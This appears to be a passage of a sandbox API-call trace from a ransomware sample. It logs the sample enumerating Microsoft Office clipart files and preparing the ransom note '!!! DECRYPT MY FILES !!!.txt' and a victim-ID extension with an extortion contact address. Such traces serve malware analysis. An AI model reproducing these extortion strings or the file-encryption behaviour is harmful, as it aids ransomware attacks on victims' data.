CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.780] GetProcessHeap () returned 0x630000 [0137.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3c0) returned 0x6fc44e0 [0137.780] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0137.780] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 1 [0137.780] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf") returned 0x44 [0137.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.780] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.780] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.780] GetProcessHeap () returned 0x630000 [0137.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3c4) returned 0x721cdf8 [0137.780] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0137.780] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 1 [0137.780] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf") returned 0x44 [0137.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.780] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.780] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.780] GetProcessHeap () returned 0x630000 [0137.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x721cdf8, Size=0x3c8) returned 0x721cdf8 [0137.781] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0137.781] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 1 [0137.781] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf") returned 0x44 [0137.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.781] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.781] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.781] GetProcessHeap () returned 0x630000 [0137.781] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x721cdf8, Size=0x3cc) returned 0x721cdf8 [0137.781] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0137.781] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 1 [0137.781] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf") returned 0x44 [0137.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.781] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.781] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.781] GetProcessHeap () returned 0x630000 [0137.781] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x721cdf8, Size=0x3d0) returned 0x721cdf8 [0137.781] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0137.781] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 1 [0137.781] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf") returned 0x44 [0137.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.782] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.782] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.782] GetProcessHeap () returned 0x630000 [0137.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x721cdf8, Size=0x3d4) returned 0x721cdf8 [0137.782] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0137.782] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 1 [0137.782] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf") returned 0x44 [0137.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.782] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.782] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.782] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.782] GetProcessHeap () returned 0x630000 [0137.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x721cdf8, Size=0x3d8) returned 0x721cdf8 [0137.782] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0137.787] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 1 [0137.787] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf") returned 0x44 [0137.787] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.787] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.787] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.787] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.799] GetProcessHeap () returned 0x630000 [0137.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x721cdf8, Size=0x3dc) returned 0x698c00 [0137.800] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0137.800] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 1 [0137.800] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf") returned 0x44 [0137.800] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.800] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.800] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.800] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.800] GetProcessHeap () returned 0x630000 [0137.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x698c00, Size=0x3e0) returned 0x698c00 [0137.800] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0137.800] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 1 [0137.800] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf") returned 0x44 [0137.800] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.800] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.800] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.800] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.800] GetProcessHeap () returned 0x630000 [0137.800] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x698c00, Size=0x3e4) returned 0x698c00 [0137.800] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0137.800] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 1 [0137.800] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf") returned 0x44 [0137.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.801] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.801] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.801] GetProcessHeap () returned 0x630000 [0137.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x698c00, Size=0x3e8) returned 0x698c00 [0137.801] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0137.801] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 1 [0137.801] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf") returned 0x44 [0137.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.801] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.801] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.801] GetProcessHeap () returned 0x630000 [0137.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x698c00, Size=0x3ec) returned 0x6ed5930 [0137.801] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0137.801] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 1 [0137.801] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid") returned 0x44 [0137.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.801] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.801] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.801] GetProcessHeap () returned 0x630000 [0137.801] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5930, Size=0x3f0) returned 0x6ed5930 [0137.802] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, 